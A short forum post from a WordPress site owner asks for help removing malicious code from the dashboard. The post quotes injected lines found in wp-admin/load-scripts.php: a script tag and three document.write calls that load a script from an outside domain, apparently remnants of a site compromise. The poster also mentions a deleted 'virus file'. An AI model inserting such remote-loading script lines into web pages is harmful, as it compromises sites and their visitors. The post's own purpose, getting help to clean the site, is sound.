Script Error

Hey guys

I am having some issues in my website. The script is not loading properly in Dashboard. I can’t quick edit it and select all etc.

When I log into my Dashboard, my firebug catches an error and shows it details in the file wp-admin/load-scripts.php. There is a script tag on top most

<script src=http://mybreasttreatment.com/wp-includes/wp-rss2.php ></script>/*!

and then, when I go down I see three lines

document.write('<script src=http://mybreasttreatment.com/wp-includes/wp-rss2.php ><\/script>');
document.write('<script src=http://mybreasttreatment.com/wp-includes/wp-rss2.php ><\/script>');
document.write('<script src=http://mybreasttreatment.com/wp-includes/wp-rss2.php ><\/script>');

Please help me removing it. 🙁

P.S: I had a virus file named gifimg.php but I deleted it from my directories.

Thanks a lot.
